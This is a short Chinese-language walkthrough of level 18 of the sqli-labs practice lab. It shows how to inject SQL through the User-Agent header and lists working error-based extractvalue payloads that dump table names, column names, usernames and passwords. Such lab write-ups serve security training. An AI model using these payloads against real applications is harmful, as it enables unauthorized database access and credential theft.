Sqlilabs-18
来到了 18 关
18 关同样也是在 UPDATE 上面做手脚,但是限制更加严格,不仅对 username 对 password 也做了 check_input
再看看后台 SQL 语句的构造:
uagent’, ‘$IP’, $uname)";
无论是从题目还是后台 SQL 语句,我们都可以得出,下手的地方不在 usernmae 也不在 password ,而是在 HTTP HEADER 头部分。
–USER-AGENT
“User-Agent 是浏览器表明自己的身份是哪种浏览器”
在这一关卡,也是首先检查用户名和密码是否正确,正确了才能进行 UPDATE 操作,若有一错都不能进行 UPDATE 操作。
在 hackbar 构造如下:username right | password right | user-agent payload
以下是针对 user-agent 的 payload :
从之前的 sql 语句我们也可以看出,在 user-agent 处后台已经加了单引号了,所以我们改加 1 该加 and 要加,不能漏,漏就查不出来
–查表1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) and '1'='1
–查列1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),0x7e)) and '1'='1
–查数据1' and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) and '1'='1
1' and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e)) and '1'='1
????